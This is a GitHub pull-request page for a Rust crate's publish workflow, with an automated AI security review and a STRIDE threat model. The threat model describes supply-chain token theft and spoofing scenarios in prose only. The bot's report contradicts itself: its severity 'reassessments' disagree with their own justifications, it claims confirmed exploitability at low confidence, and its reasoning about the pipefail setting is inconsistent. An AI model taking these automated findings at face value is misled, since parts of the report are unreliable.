Skip to content

ci: check for an already-published version before authenticating - #19

Merged
stormer78 merged 1 commit into
mainfrom
fix/publish-skip-before-auth
Sep 3, 2026
Merged

ci: check for an already-published version before authenticating#19
stormer78 merged 1 commit into
mainfrom
fix/publish-skip-before-auth

Conversation

@stormer78

Copy link
Copy Markdown
Contributor

The v0.6.0 tag push failed on No Trusted Publishing config found — even though 0.6.0 was already on crates.io, published by hand minutes earlier. It should have been a clean no-op.

The skip is what makes a re-pushed tag recoverable, which is the entire reason it exists, and it could not do that job from behind the auth step because it never ran. A step that decides whether to act should not sit downstream of acquiring the means to act.

The check now runs first and gates both the authentication and the publish. A tag for a version already on crates.io is a green no-op whether or not Trusted Publishing has ever been configured.

Still outstanding

Trusted Publishing is not configured on crates.io, so the first genuine release through this workflow will still fail at the auth step. That is the correct failure and the workflow header says how to fix it — on crates.io, under the crate's Settings → Trusted Publishing: owner OpenVTC, repository dtg-credentials, workflow publish.yml.

Until then a release means cargo publish by hand, which is what happened for 0.6.0.

The v0.6.0 tag push failed on 'No Trusted Publishing config found' even
though 0.6.0 was already on crates.io, published by hand minutes earlier.
It should have been a no-op.

The skip is what makes a re-pushed tag recoverable - the whole reason it
exists - and it could not do that job from behind the auth step, because
it never ran. A step that decides whether to act should not sit
downstream of acquiring the means to act.

The check now runs first and gates both the auth and the publish. A tag
for a version already on crates.io is now a clean green no-op whether or
not Trusted Publishing has ever been configured.

Trusted Publishing is still unconfigured on crates.io, so the first real
release through this workflow will still fail at the auth step - which is
the correct failure, and the header says how to fix it.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
@stormer78
stormer78 requested a review from a team as a code owner September 3, 2026 20:07
@stormer78
stormer78 merged commit 5cb04fa into main Sep 3, 2026
7 checks passed
@stormer78
stormer78 deleted the fix/publish-skip-before-auth branch September 3, 2026 20:13
@affinidi-appsecurity-bot

affinidi-appsecurity-bot commented Sep 3, 2026

Copy link
Copy Markdown

🛡️ AI Agentic Security Code Review

4 AI-confirmed issues.

Mandatory to check: 🔒 Security Code Review Report

Details

🛡️ Security Code Review Report — PR #19

Field Value
Repository OpenVTC/dtg-credentials
Branch fix/publish-skip-before-authmain
Validated 2026-09-05
Scan ID c7a5c8cc
Validator AI Security Validation Agent

🗺️ Scan Coverage

Modules scanned: 1 · with findings: 1 · files: 1 · findings: 5

Module Files scanned Findings
.github 1 5

Executive Summary

Category Confirmed Must-Review-By-Human
Security Issues 4 0

🔒 Security Issues

Confirmed Vulnerabilities (4)

🟡 Third-party GitHub Action used without pinning to a commit SHA

Field Detail
Severity MEDIUM
Location .github/workflows/publish.yml:83
Finding ID github_pr-14a224587f08
CWE CWE-829
OWASP A08:2021 - Software and Data Integrity Failures
Detection Source threat_model

🧠 AI Triage:

  • Severity reassessed: HIGH → MEDIUM — No CVSS score is available since this is a configuration/supply-chain hygiene finding, not a CVE. The scanner-provided 'high' severity is appropriate: CI workflows with publish/token-access permissions represent a significant blast radius if the referenced action is compromised, and the code evidence confirms the vulnerable pattern is present and reachable on every workflow run. It does not reach 'critical' because there is no confirmed active exploitation, no CISA KEV entry, no EPSS score, and exploitability requires a precondition (upstream compromise) that has not been demonstrated to have occurred — this is preventive hardening against a known attack class, not an active incident.
  • Composite score: 4.4
  • Environment: unknown

📝 Description:

The workflow references the third-party action 'rust-lang/crates-io-auth-action' by a mutable version tag (@v1) rather than an immutable commit SHA.

🌱 Root Cause: Using a floating tag reference for a third-party action allows the action's underlying code to change without the workflow being explicitly updated/reviewed, introducing a supply-chain risk.

🔎 Evidence: .github/workflows/publish.yml:83

- name: Authenticate to crates.io
  if: steps.check.outputs.published == 'false'
  uses: rust-lang/crates-io-auth-action@v1
  id: auth

🎯 Attack Scenario:

If the crates-io-auth-action repository or the v1 tag is compromised (e.g., tag re-pointed to malicious code), the next workflow run would execute attacker-controlled code with access to the CI environment and be used to exfiltrate the crates.io publishing token.

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 65%
  • AI Validation Evidence: EVIDENCE FOUND: publish.yml line 83-85 reads 'uses: rust-lang/crates-io-auth-action@v1' - this is a mutable version tag, not a commit SHA. EVIDENCE NOT FOUND: No pinning to a commit SHA anywhere in the workflow for this action. CHANGED VS PRE-EXISTING: The entire publish.yml file is new/changed - it is the sole file in this MR per the diff (fix/publish-skip-before-auth branch reorders steps in this same file), so this step is part of the changed content. VERDICT JUSTIFICATION: The action reference '@v1' is a floating tag that can be repointed by the upstream maintainer or an attacker who compromises that repo, enabling supply-chain compromise of the auth step that mints CARGO_REGISTRY_TOKEN; this is a real, concrete weakness in the changed file.
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

🟡 curl failure output suppressed with 2>/dev/null masking error conditions

Field Detail
Severity MEDIUM
Location .github/workflows/publish.yml:66
Finding ID github_pr-f43ee6ba19c9
CWE CWE-703
OWASP A04:2021-Insecure Design
Detection Source threat_model

🧠 AI Triage:

  • Severity reassessed: LOW → MEDIUM — No CWE, no user-controlled input, no authentication/authorization implications, and no CIA impact beyond CI pipeline flow-control ambiguity. This is an error-handling/observability defect in a build script, not an attacker-exploitable vulnerability. Low severity is appropriate and unchanged.
  • Composite score: 4.8
  • Environment: production

📝 Description:

curl's stderr is redirected to /dev/null, hiding diagnostic information when the request to crates.io fails (e.g., network errors, TLS errors, non-404 failures), making failures harder to diagnose and potentially masking improper error handling.

🌱 Root Cause: Error output suppression combined with reliance on curl's exit code alone to determine control flow, without distinguishing between a clean 404 and other failure modes.

🔎 Evidence: .github/workflows/publish.yml:66

if curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null \
    | jq -se --arg v "$version" 'any(.[]; .vers == $v)' >/dev/null; then

🎯 Attack Scenario:

If curl fails for a reason other than a 404 (e.g., transient network issue, rate limiting, TLS interception), the script treats it identically to 'not published', causing the publish step to run and potentially fail unexpectedly or behave inconsistently, complicating incident diagnosis.

Also flagged at this location (same code, other weakness framings): CWE-345 — Unauthenticated version-check response used to gate publish step without integrity verification

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 60%
  • AI Validation Evidence: EVIDENCE FOUND: Line 66 'curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se --arg v "$version" ...' explicitly redirects curl's stderr to /dev/null, suppressing diagnostic output on failure. EVIDENCE NOT FOUND: No alternate error-capture mechanism (e.g., writing stderr to a log file or GITHUB_STEP_SUMMARY) elsewhere in the step. CHANGED VS PRE-EXISTING: This line is part of the changed 'Skip if this version is already published' step in publish.yml, which the PR's own commentary indicates was reordered/rewritten in this MR. VERDICT JUSTIFICATION: The 2>/dev/null redirection is directly visible in the quoted code and genuinely masks curl error diagnostics (network errors, TLS failures, non-2xx responses aside from what -f handles), which is a low-severity but real error-handling weakness.
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

🔵 crates.io registry token passed via environment variable to publish step

Field Detail
Severity LOW
Location .github/workflows/publish.yml:88
Finding ID github_pr-a30a8e4c981b
CWE CWE-532
OWASP A09:2021 - Security Logging and Monitoring Failures
Detection Source threat_model

🧠 AI Triage:

  • Severity reassessed: MEDIUM → LOW — No CVSS applies (this is a CI configuration weakness, not a CVE). The exposure mechanism requires either accidental log-verbosity leakage or a compromised dependency's build script — both are secondary preconditions, not a direct 1-step exploit. No exploit maturity, no confirmed reachability, no evidence of active abuse. This keeps the finding at medium: real but conditional risk, standard practice question rather than a confirmed injectable vulnerability.
  • Composite score: 3.9
  • Environment: unknown

📝 Description:

The authentication token obtained from the auth step is passed as a plain environment variable to the cargo publish step, which could be exposed via process environment dumps, verbose logging, or debug output if cargo or a dependency prints its environment.

🌱 Root Cause: Sensitive credential material is stored in an environment variable without additional secret-masking guarantees beyond GitHub Actions default masking, and its exposure depends on downstream tool behavior.

🔎 Evidence: .github/workflows/publish.yml:88

- name: Publish
  if: steps.check.outputs.published == 'false'
  env:
    CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }}
  run: cargo publish --locked

🎯 Attack Scenario:

If cargo or any invoked build script (e.g., via build.rs of a dependency) reads and logs environment variables, or if debug/verbose flags are enabled, the CARGO_REGISTRY_TOKEN could leak into workflow logs, allowing an attacker with access to logs to publish malicious crate versions.

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 40%
  • AI Validation Evidence: EVIDENCE FOUND: Lines 88-92 show 'env: CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }}' passed as a plain environment variable into 'cargo publish --locked'. EVIDENCE NOT FOUND: No explicit ::add-mask:: call registering the token as masked beyond GitHub's default env-injection masking; no evidence of additional secret-handling wrapper. CHANGED VS PRE-EXISTING: This Publish step is part of the changed publish.yml (entire file constitutes this PR's change per diff file list). VERDICT JUSTIFICATION: While GitHub Actions provides some automatic masking for step outputs referenced via env:, the token is still exposed to the process environment for the 'cargo publish' invocation and any subprocess/dependency that dumps env vars, which is a legitimate CWE-532 concern the scan correctly flags, albeit with real-world exploitation requiring debug logging or malicious code within cargo/dependencies.
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.


Generated by Agentic Sec — AI Security Validation Agent
This report includes full scan data + AI validation evidence. Feed to engineering copilots for automated fix deployment.

Complementary: 🛡️ **Threat Model & Affect Analysis**
Details

🛡️ Threat Model & Affect Analysis — PR #19

Field Value
Repository OpenVTC/dtg-credentials
Branch fix/publish-skip-before-authmain
Generated 2026-09-05

ℹ️ This report contains theoretical threats and impact analysis for the MR.
Unlike the Security Code Review Report (which contains confirmed, materialised issues),
these are potential risks that may or may not be exploitable. Use this for defence-in-depth planning.


📋 Affect Analysis

Change Summary

Reorders the GitHub Actions publish workflow so the 'already published?' idempotency check runs BEFORE crates.io Trusted Publishing authentication rather than after. This fixes a real incident (v0.6.0) where a re-pushed tag failed because the workflow never reached the skip-check logic — it died on the auth step first ("No Trusted Publishing config found"). It also avoids unnecessarily minting a short-lived CARGO_REGISTRY_TOKEN when there is nothing to publish.

Diff: +27 / -10 lines
Types: ci_cd, security_improvement, reliability_fix

Risk Assessment

  • Overall Risk: low
  • Review Priority: before_merge
  • Pentest Needed: false
  • Security Review Needed: true

This is a small, well-scoped, well-documented CI/CD workflow change limited to reordering control flow in a single publish pipeline. It is a genuine reliability and modest security improvement: it reduces unnecessary credential minting and fixes a real incident where the skip-check was unreachable due to sitting downstream of authentication. No secrets, malicious code, or new attack surface are introduced. The residual concerns (fail-open default on ambiguous network check, unchanged TOCTOU window, mutable-tag-pinned third-party action, absent visible permissions block) are either pre-existing conditions not introduced by this diff or low-likelihood edge cases with cargo publish's server-side rejection of true duplicates acting as a backstop. Manual review is still warranted before merge because this file touches authentication/credential-acquisition control flow for a supply-chain-sensitive publish pipeline, and the fail-open default in the check step should be explicitly acknowledged/accepted or fixed as part of this change.

Review Focus Areas:

  • Confirm the 'Skip if this version is already published' step's fail-open behavior (defaults to published=false, i.e., proceed to auth+publish, on any curl/jq error) is acceptable, or require it be hardened to fail closed
  • Confirm whether the full workflow file (outside this diff's visible excerpt) has an explicit least-privilege 'permissions:' block and whether rust-lang/crates-io-auth-action is pinned by SHA vs mutable tag — both pre-existing conditions this PR touches but does not change
  • Verify no other callers/consumers depend on the previous 'exit 0'-based early-termination behavior of the publish job (e.g., branch-protection status checks, downstream workflow_run triggers keyed on job success/failure semantics)

⚠️ Security Implications

⚪ Reduced unnecessary OIDC credential minting

Reduced unnecessary OIDC credential minting

Action: No action required; consider extending the same conditional-minimization principle to any future credential-acquiring steps added to this workflow.

⚪ Fixes recovery-blocking bug for re-pushed release tags

Fixes recovery-blocking bug for re-pushed release tags

Action: Continue discouraging manual out-of-band 'cargo publish' by maintainers now that the automated path is more resilient; consider documenting/formalizing that all publishes must go through this workflow.

🟡 Fail-open default on inconclusive publish-state check

Fail-open default on inconclusive publish-state check

Action: Explicitly capture and branch on curl's exit status separately from a clean 404-vs-200 distinction; treat any non-clean-404 failure as an unresolved/error state that fails the step (or explicitly sets a third state, e.g. 'unknown') rather than silently defaulting to published=false.

🔵 TOCTOU window between check and publish steps unchanged, but now spans an additional conditional step

TOCTOU window between check and publish steps unchanged, but now spans an additional conditional step

Action: Add a 'concurrency:' group scoped to the crate name/tag to serialize workflow runs targeting the same release.

🧩 Affected Components

Component Impact Change What Changed
dtg-credentials Publish Workflow (CI/CD) medium modified The idempotency ('already published?') check was relocated to run before, rather than after, the crates.io Trusted Publishing authentication

📁 File Classifications

.github/workflows/publish.yml

  • Type: security

💡 Recommendations

  • MUST — Harden the 'Skip if this version is already published' step to fail closed (or explicitly to an 'unknown' state) on curl/jq errors instead of silently defaulting to published=false. (effort: small)
    • Currently an ambiguous or failed check against the external crates.io index defaults toward proceeding with authentication and publish, which is the less safe outcome for a step that gates credential acquisition.
  • SHOULD — Pin rust-lang/crates-io-auth-action to a full commit SHA instead of the 'v1' tag. (effort: small)
    • Protects against supply-chain tampering if the upstream action's mutable tag is ever re-pointed.
  • SHOULD — Add an explicit least-privilege 'permissions:' block to the workflow/job. (effort: small)
    • Limits blast radius of any compromised step to only the OIDC token-exchange scope actually required.
  • SHOULD — Add a 'concurrency:' group keyed on crate name/version to the job. (effort: small)
    • Eliminates the residual TOCTOU race between the check step and the eventual cargo publish call across concurrent runs.
  • CONSIDER — Add explicit tag protection rules and/or a manual approval gate (GitHub Environments) before the Authenticate/Publish steps. (effort: medium)
    • Reduces risk from any collaborator with mere tag-push access being able to trigger a full crates.io publish unreviewed.
  • CONSIDER — Forward workflow run outcomes (including skip/publish decisions) to an external, longer-retention audit log with explicit actor/commit/tag metadata. (effort: medium)
    • Improves forensic reconstruction after future incidents similar to the v0.6.0 case referenced in this diff's comments.

✅ Positive Observations

  • Moves the idempotency check ahead of credential acquisition, directly fixing a documented production incident (v0.6.0 re-pushed tag failure) rather than working around it.
  • Reduces the frequency of OIDC-based CARGO_REGISTRY_TOKEN minting by gating authentication behind the published-state check.
  • Continues use of OIDC-based Trusted Publishing (rust-lang/crates-io-auth-action) rather than a long-lived static API token.
  • Maintains safe shell scripting discipline: set -euo pipefail, curl -sSf, jq --arg parameterization avoiding injection via the version string.
  • Version value used in the check is derived from local, trusted cargo metadata output, not externally-influenced input, limiting injection risk.
  • Change is thoroughly documented in-line with clear rationale tied to a real incident, aiding future auditability and review.
  • cargo publish --locked retained, preserving lockfile-pinned dependency resolution at publish time.

🛡️ STRIDE Threat Model

Identified Threats (11)

🟠 STRIDE-1: Unauthenticated HTTP Response Spoofing in Skip-Publish Check

Field Detail
Category Spoofing, Tampering
Severity High
Likelihood Possible
CVSS 7.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-345,CWE-300
CAPEC CAPEC-94,CAPEC-142
OWASP A08:2021 - Software and Data Integrity Failures

Description: Unauthenticated curl request to https://index.crates.io/dt/g-/dtg-credentials in the 'Skip if this version is already published' step allows response spoofing via network path manipulation (DNS spoofing, MITM, or compromised CDN/index mirror) due to missing TLS pinning, integrity verification, or response signature validation, resulting in incorrect publish/skip decision and potential unauthorized publish suppression or bypass of the safety-check's intended guard.

Evidence: .github/workflows/publish.yml:N/A (inferred from diff context)

curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se --arg v "$version" 'any(.[]; .vers == $v)'

Attack Scenario:

  1. Attacker positions on-path (compromised DNS resolver, corporate proxy, or runner network compromise) between the GitHub Actions runner and index.crates.io.
  2. Workflow step 'Skip if this version is already published' issues curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" with no additional integrity check beyond standard TLS.
  3. Attacker serves a forged sparse-index JSON response (e.g., omitting the current version) causing jq -se --arg v "$version" 'any(.[]; .vers == $v)' to evaluate false even though the version is already published.
  4. check.outputs.published is set to false, and the downstream 'Authenticate to crates.io' and 'Publish' steps execute unnecessarily.
  5. cargo publish --locked attempts to publish a duplicate/conflicting version, or — if attacker instead forges a 'true' response for a version never published — the publish is wrongly skipped, causing a legitimate release to silently fail to ship.
  6. Because the curl -sSf failure path (2>/dev/null) is swallowed, network-layer tampering that causes a non-2xx or malformed response can also silently fall through to the else branch, treating a partially-failed integrity check as 'not yet published'.

Preconditions: Attacker has network-path control over the runner's DNS resolution or TLS interception (e.g., compromised self-hosted runner, corporate MITM proxy, or DNS cache poisoning), GitHub-hosted runner network egress is not restricted to pinned/allow-listed crates.io endpoints

Existing Controls: HTTPS (TLS) transport to index.crates.io provides baseline confidentiality/integrity against passive attackers • set -euo pipefail ensures unrelated command failures abort the step

Recommended Mitigations: Verify response integrity via crates.io's published checksum/signature if available • Restrict runner network egress via allow-list or use GitHub's hosted runner with strict TLS certificate pinning • Fail closed (treat curl/jq errors as 'unknown' rather than defaulting to published=false) instead of silently falling through • Add explicit HTTP status code and JSON schema validation before trusting the result


🟡 STRIDE-2: Publish Decision Bypass via Malformed/Empty crates.io Response

Field Detail
Category Tampering, Denial of Service
Severity Medium
Likelihood Likely
CVSS 5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-703,CWE-754
CAPEC CAPEC-227
OWASP A04:2021 - Insecure Design

Description: Skip-check logic in publish.yml allows silent fallback to 'not published' state due to error suppression (2>/dev/null) on curl -sSf combined with unchecked jq -se output, resulting in incorrect execution of the Authenticate/Publish steps when the crates.io index is unreachable, rate-limited, or returns transient errors.

Evidence: .github/workflows/publish.yml:N/A

if curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se --arg v "$version" 'any(.[]; .vers == $v)' >/dev/null; then ... else echo "published=false" >> "$GITHUB_OUTPUT"; fi

Attack Scenario:

  1. The crates.io sparse index (index.crates.io) experiences a transient outage, rate-limit response, or CDN edge cache miss during the CI run.
  2. curl -sSf ... 2>/dev/null fails (non-zero exit) but its stderr is discarded and the if conditional in bash evaluates the pipeline's exit status only from the last command in the pipe (jq), which may still exit 0 on empty input depending on jq behavior.
  3. The workflow proceeds down the else branch, setting published=false even though the true publish state on crates.io is unknown (not confirmed absent).
  4. steps.check.outputs.published == 'false' gates the Authenticate and Publish steps to run, potentially attempting cargo publish --locked for a version already published (yielding an error) or masking a genuine transient-check failure as a legitimate 'go ahead to publish' signal.
  5. Repeated tag re-pushes during index flakiness could cause repeated authentication/publish attempts, consuming Trusted Publishing OIDC token exchanges and crates.io API rate-limit budget.

Preconditions: Transient network/service instability at index.crates.io during workflow execution, No retry/backoff or explicit success validation on the curl+jq pipeline

Existing Controls: set -euo pipefail mitigates some failure propagation for non-piped commands • -f flag on curl causes non-2xx HTTP responses to be treated as failures for curl itself

Recommended Mitigations: Explicitly check curl's exit code before evaluating jq output, defaulting to a fail-closed 'unknown' state on error • Add retry with exponential backoff for transient network failures • Emit explicit CI failure/annotation when the check step cannot conclusively determine publish state rather than silently defaulting


🟠 STRIDE-3: Supply Chain Compromise via Pinned Major-Version Third-Party Action

Field Detail
Category Tampering, Information Disclosure, Elevation of Privilege
Severity High
Likelihood Possible
CVSS 7.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-1357,CWE-829
CAPEC CAPEC-538,CAPEC-538
OWASP A08:2021 - Software and Data Integrity Failures

Description: The 'Authenticate to crates.io' step in publish.yml allows execution of an unpinned/floating-tag third-party GitHub Action (rust-lang/crates-io-auth-action@v1) due to reliance on a mutable major-version tag rather than a commit SHA, resulting in potential exfiltration of the Trusted Publishing OIDC-derived CARGO_REGISTRY_TOKEN or arbitrary code execution in the publish job's context if the action's v1 tag is compromised or re-pointed by an attacker (e.g., via maintainer account takeover).

Evidence: .github/workflows/publish.yml:N/A

- name: Authenticate to crates.io
  if: steps.check.outputs.published == 'false'
  uses: rust-lang/crates-io-auth-action@v1
  id: auth

Attack Scenario:

  1. Attacker compromises the rust-lang/crates-io-auth-action GitHub repository (e.g., via maintainer credential theft, leaked PAT, or malicious PR merge) and force-pushes a malicious commit under the existing v1 tag.
  2. On the next dtg-credentials release, the workflow step uses: rust-lang/crates-io-auth-action@v1 resolves to the attacker's malicious commit rather than the previously reviewed version.
  3. The malicious action executes within the GitHub Actions runner context, with access to the OIDC token exchange used to mint the CARGO_REGISTRY_TOKEN (exposed via steps.auth.outputs.token).
  4. Attacker-controlled action code exfiltrates the minted CARGO_REGISTRY_TOKEN (e.g., via an outbound HTTP call to an attacker server) before or instead of returning it to the workflow.
  5. Attacker uses the exfiltrated token to publish a malicious version of dtg-credentials directly to crates.io, independent of this repository's CI, achieving a supply-chain compromise against downstream consumers of the crate.

Preconditions: rust-lang/crates-io-auth-action repository or its v1 tag is compromised, Workflow does not pin the action to an immutable commit SHA

Existing Controls: Use of short-lived OIDC-based Trusted Publishing token (scoped, ephemeral) reduces blast radius versus a long-lived static PAT • GitHub Actions run in isolated ephemeral runners

Recommended Mitigations: Pin the action to a full immutable commit SHA (e.g., rust-lang/crates-io-auth-action@<sha>) instead of the v1 tag • Enable GitHub's dependabot/Renovate SHA-pinning enforcement or a policy-as-code check (e.g., zizmor, actionlint with pinning rules) • Restrict workflow permissions via least-privilege permissions: block • Monitor crates.io publish events for anomalous versions


🟡 STRIDE-4: CARGO_REGISTRY_TOKEN Leakage via Workflow Logging or Debug Mode

Field Detail
Category Information Disclosure
Severity Medium
Likelihood Unlikely
CVSS 6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-532,CWE-215
CAPEC CAPEC-117
OWASP A09:2021 - Security Logging and Monitoring Failures

Description: The 'Publish' step's environment variable assignment CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }} allows sensitive token exposure due to reliance solely on GitHub Actions' automatic secret masking, resulting in potential disclosure of the crates.io publish token in workflow logs if masking fails (e.g., token appears in a differently-encoded form, or ACTIONS_STEP_DEBUG is enabled by a repository admin/collaborator).

Evidence: .github/workflows/publish.yml:N/A

- name: Publish
  if: steps.check.outputs.published == 'false'
  env:
    CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }}
  run: cargo publish --locked

Attack Scenario:

  1. A repository collaborator with workflow-trigger or debug permissions enables ACTIONS_STEP_DEBUG/ACTIONS_RUNNER_DEBUG secrets on the repository or organization.
  2. The 'Authenticate to crates.io' step outputs the token via steps.auth.outputs.token, which GitHub Actions attempts to mask automatically only if the exact string matches a registered secret; step outputs are not always automatically registered as maskable secrets the same way secrets.* context values are.
  3. Debug logging or an unmasked partial encoding (e.g., base64, JSON-escaped) of the token value is written to the 'Publish' step's log output.
  4. Attacker with read access to workflow run logs (e.g., via a fork PR-triggered workflow_run, or repository read access) extracts the plaintext or partially-masked token from log artifacts.
  5. Attacker uses the extracted CARGO_REGISTRY_TOKEN to publish arbitrary malicious crate versions to crates.io under the dtg-credentials name before the short-lived token expires.

Preconditions: Debug logging enabled on the repository/organization, Step output token value not registered as a GitHub-masked secret, Attacker has read access to Actions logs

Existing Controls: Trusted Publishing tokens from crates-io-auth-action are short-lived/scoped, limiting exploitation window • GitHub Actions default secret masking for env:-injected values

Recommended Mitigations: Explicitly register the auth output as a masked value via ::add-mask:: before use • Restrict repository debug-logging secrets to trusted maintainers only • Use permissions: {contents: read} and restrict workflow_run/fork PR triggering • Rotate/limit token TTL as tightly as the Trusted Publishing action allows


🟡 STRIDE-5: TOCTOU Race Between Skip-Check and Publish Steps

Field Detail
Category Tampering, Denial of Service
Severity Medium
Likelihood Possible
CVSS 5.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-367
CAPEC CAPEC-25
OWASP A04:2021 - Insecure Design

Description: The 'Skip if already published' check followed by a separate 'Authenticate'/'Publish' step allows a time-of-check-to-time-of-use (TOCTOU) race condition due to a non-atomic check-then-act pattern against an eventually-consistent external registry state, resulting in duplicate/conflicting publish attempts or unnecessary authentication when a concurrent workflow run or manual publish changes crates.io state between the check and the publish action.

Evidence: .github/workflows/publish.yml:N/A

- name: Skip if this version is already published
  id: check
  run: ...
- name: Authenticate to crates.io
  if: steps.check.outputs.published == 'false'
...

Attack Scenario:

  1. Two workflow runs are triggered concurrently for the same tag/version (e.g., via a re-pushed tag racing an in-flight run, or a manual workflow_dispatch alongside an automatic tag-push trigger).
  2. Run A executes the 'Skip if this version is already published' check, observes published=false (version not yet on crates.io).
  3. Before Run A reaches the 'Publish' step, Run B (or a manual cargo publish by a maintainer) completes publishing the same version to crates.io.
  4. Run A proceeds to 'Authenticate to crates.io' and 'Publish' with a stale published=false decision, invoking cargo publish --locked for a version that already exists.
  5. crates.io rejects the duplicate publish, but the Trusted Publishing OIDC authentication has already been consumed unnecessarily, and the workflow run fails noisily — potentially triggering alert fatigue or masking a genuine failure in future runs.
  6. In a worse case, if crates.io briefly allows overwriting/yanking-then-republishing under specific conditions, a race could result in inconsistent published artifacts between concurrent runs.

Preconditions: Concurrent workflow runs or manual publish actions targeting the same crate version, No concurrency group / mutex configured in the workflow (concurrency: block absent from visible diff)

Existing Controls: cargo publish --locked will fail (not silently succeed) if the version already exists on crates.io, providing a terminal safety net

Recommended Mitigations: Add a GitHub Actions concurrency: group keyed on the crate name/tag to serialize publish workflow runs • Re-check publish status immediately before the cargo publish --locked call, not only at the start of the job • Use crates.io's idempotent-publish semantics/error handling to treat 'already published' publish failures as success rather than a hard failure


🔵 STRIDE-6: Missing Non-Repudiation for Publish Decision Outcomes

Field Detail
Category Repudiation
Severity Low
Likelihood Likely
CVSS 3.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-778
CAPEC CAPEC-93
OWASP A09:2021 - Security Logging and Monitoring Failures

Description: The publish.yml workflow allows insufficient audit traceability for the skip/publish decision due to reliance solely on ::notice:: annotations and step outputs without persisted structured audit logs, resulting in an inability to later verifiably reconstruct why a given tag push resulted in a skip versus publish outcome, especially for post-incident forensic analysis of prior publish failures (as referenced in the code comment about the v0.6.0 tag incident).

Evidence: .github/workflows/publish.yml:N/A

echo "::notice::dtg-credentials ${version} is already on crates.io — nothing to do"

Attack Scenario:

  1. A maintainer or attacker with push access triggers multiple tag pushes over a short window (e.g., re-pushing v0.6.0 as referenced in the workflow comment).
  2. Each run's skip/publish decision is recorded only in ephemeral GitHub Actions run logs (::notice:: output) and step outputs, which have limited retention and no separate immutable audit trail.
  3. After a disputed or unexpected publish outcome (e.g., a version published that shouldn't have been, or vice versa), an investigator attempts to reconstruct the exact decision path.
  4. Without persisted, tamper-evident logging (e.g., to a separate audit sink), the investigator must rely on GitHub's default log retention window and the workflow author's memory/commit history (as evidenced by the extensive inline comment justifying the reorder), making it difficult to definitively attribute cause for past incidents.
  5. A malicious insider could exploit this gap to plausibly deny responsibility for triggering an unwanted publish or skip, since the workflow provides no cryptographically verifiable record tying a specific actor/trigger to the outcome.

Preconditions: Long-term forensic investigation required after log retention window expires, No external audit logging integration configured

Existing Controls: GitHub Actions run history retains logs for a default retention period • ::notice:: annotations provide human-readable in-run signal • Git commit history and PR comments provide some traceability of workflow changes over time

Recommended Mitigations: Forward workflow run outcomes/annotations to an external, longer-retention audit log (e.g., SIEM, dedicated logging bucket) • Include triggering actor, commit SHA, and tag ref explicitly in the ::notice:: message • Enable GitHub Advanced Security audit log streaming for organization-level review


🔵 STRIDE-7: Denial of Service via crates.io Index Endpoint Unavailability Blocking Release Pipeline

Field Detail
Category Denial of Service
Severity Low
Likelihood Possible
CVSS 3.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-1088,CWE-400
CAPEC CAPEC-125
OWASP A05:2021 - Security Misconfiguration

Description: The 'Skip if already published' step in publish.yml allows the entire release pipeline to be blocked due to a hard dependency on a single external endpoint (index.crates.io) with no fallback or caching mechanism, resulting in denial of the crate's publish capability whenever that specific sparse-index shard is unreachable, rate-limited, or serving degraded responses, even though set -euo pipefail would abort the whole job on a non-suppressed failure elsewhere in the script.

Evidence: .github/workflows/publish.yml:N/A

curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se ...

Attack Scenario:

  1. Attacker (or natural outage) causes index.crates.io or its CDN edge for the dt/g-/dtg-credentials shard to become unreachable or return errors during a scheduled or tag-triggered release window.
  2. The curl -sSf ... 2>/dev/null command fails, and because errors are suppressed, the script falls into the else branch by default (per STRIDE-2) or, if a stricter check were later added, could instead cause the whole step (and thus job) to fail under set -euo pipefail.
  3. Repeated retries of the tag push/workflow (e.g., by the maintainer attempting to work around the outage) consume CI minutes and Trusted Publishing OIDC exchange attempts without achieving a successful publish.
  4. The release is delayed indefinitely until the external dependency (index.crates.io) recovers, with no local caching, mirrored fallback source, or manual override path evident in the workflow.
  5. This creates an availability dependency where a third-party outage directly translates into an inability to ship security patches or urgent fixes for dtg-credentials.

Preconditions: Outage or degradation of crates.io sparse index infrastructure, No fallback/retry/manual-override mechanism configured in the workflow

Existing Controls: set -euo pipefail at least prevents partially-corrupted state from silently succeeding in unrelated failure modes

Recommended Mitigations: Add manual workflow_dispatch override input to force-skip the crates.io check when the index is known to be degraded • Implement retry-with-backoff around the curl call • Consider querying the crates.io GraphQL/REST API as a secondary source if the sparse index is unavailable


